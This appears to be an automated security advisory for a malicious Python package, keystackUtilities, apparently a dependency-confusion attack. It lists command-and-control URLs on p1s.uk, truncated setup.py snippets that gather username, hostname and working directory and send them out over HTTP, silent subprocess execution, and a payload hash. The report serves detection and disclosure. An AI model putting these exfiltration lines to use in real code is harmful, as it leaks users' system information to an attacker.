GCVE-110-OSM-2026-8423

Malicious package detected. Behaviors: data exfiltration, code execution. DESTINATION - custom-c2: http://p1s.uk/dep-confusion/keystackUtilities/?h={ (primary, plaintext) in setup.py - custom-c2: http://p1s.uk/dep-confusion/{pkg (plaintext) in src/keystackUtilities/__init__.py - custom-c2: p1s.uk (plaintext) in setup.py EXFIL - Environment Variable Exfiltration in setup.py: "os.environ.get("USER", os.environ.get("USERNAME", "unknown")) d = os.getcwd() ur..." - System Information Exfiltration in setup.py: "socket.gethostname() u = os.environ.get("USER", os.environ.get("USERNAME", "unkn..." - HTTP Data Exfiltration in setup.py: "os.getcwd() url = "http://p1s.uk/dep-confusion/keystackUtilities/?h={}&u={}&d={}..." - Network Request in setup.py: "urllib.request.urlopen(" - System Information Collection in setup.py: "socket.gethostname()" - System Information Collection in src/keystackUtilities/__init__.py: "socket.gethostname()" ADDITIONAL FINDINGS - Shell Command Execution in src/keystackUtilities/__init__.py: "subprocess.Popen(" - Silent Process Execution in src/keystackUtilities/__init__.py: "stdout=subprocess.DEVNULL" PAYLOAD FILES setup.py INDICATORS (IOCs) - payloadFileHash: af1d32162970493b48d810beafd6e85ebc5a55e7ece21a9322f9b79ea68a1e46